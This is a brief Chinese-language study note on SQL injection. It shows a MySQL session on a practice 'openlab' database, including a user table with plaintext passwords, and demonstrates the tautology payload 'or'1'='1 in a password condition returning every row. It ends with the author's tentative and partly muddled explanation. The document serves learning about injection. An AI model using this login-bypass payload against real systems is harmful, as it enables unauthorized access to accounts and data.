关于sql注入的理解

mysql> show tables;
+----------------------+
| Tables_in_openlab    |
+----------------------+
| MatchedLogRecDetails | 
| emp_14               | 
| logs                 | 
| logs_day_report      | 
| logs_month_report    | 
| logs_year_report     | 
| s_emp                | 
| s_emp13              | 
| s_emp_14             | 
| s_emp_39             | 
| s_emp_hz100521       | 
| s_emp_jlh            | 
| s_user               | 
| s_user_39            | 
| s_user_hz100521      | 
| s_user_jlh           | 
| student              | 
| student_jlh          | 
| user_14              | 
| xu_users             | 
+----------------------+
20 rows in set (0.01 sec)

mysql> select * from s_user;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  0 | jack     | 123456   | 
|  1 | shery    | 123456   | 
|  2 | lianghao | lianghao | 
|  5 | dengtao  | 123456   | 
|  6 | chunzi   | 123456   | 
+----+----------+----------+
5 rows in set (0.01 sec)

mysql> select * from s_user where username='jack' and password='dfsf'or'1'='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  0 | jack     | 123456   | 
|  1 | shery    | 123456   | 
|  2 | lianghao | lianghao | 
|  5 | dengtao  | 123456   | 
|  6 | chunzi   | 123456   | 
+----+----------+----------+
5 rows in set (0.00 sec)

mysql> select * from s_user where username='jack';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  0 | jack     | 123456   | 
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from s_user where username='jack' and password='dfsf';
Empty set (0.00 sec)

mysql> edit
    -> ;
//select * from s_user where username='jack' and password='dfs'or'1'='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  0 | jack     | 123456   | 
|  1 | shery    | 123456   | 
|  2 | lianghao | lianghao | 
|  5 | dengtao  | 123456   | 
|  6 | chunzi   | 123456   | 
+----+----------+----------+
5 rows in set (0.00 sec)

mysql> edit
    -> ;//select * from s_user where username='jack' and password='dfs'and'1'='1';
Empty set (0.00 sec)

引用

总结：jljl'or'1'='1  为固定格式：若关键字为and 那么条件所引用的列为一个值显然不符合
数据库一范式。or在这里表示为或者，同时1＝1条件恒为true，但是查询的结果会忽视前面的条件，而返回显示所有记录。说白了sql注入就是用单引号来使sql关键字生效，使用表达式
返回一个true,然而数据库就默认为这个查询的条件为正常且合法的。哎，理解的不是很透彻，以后学的深了在改改。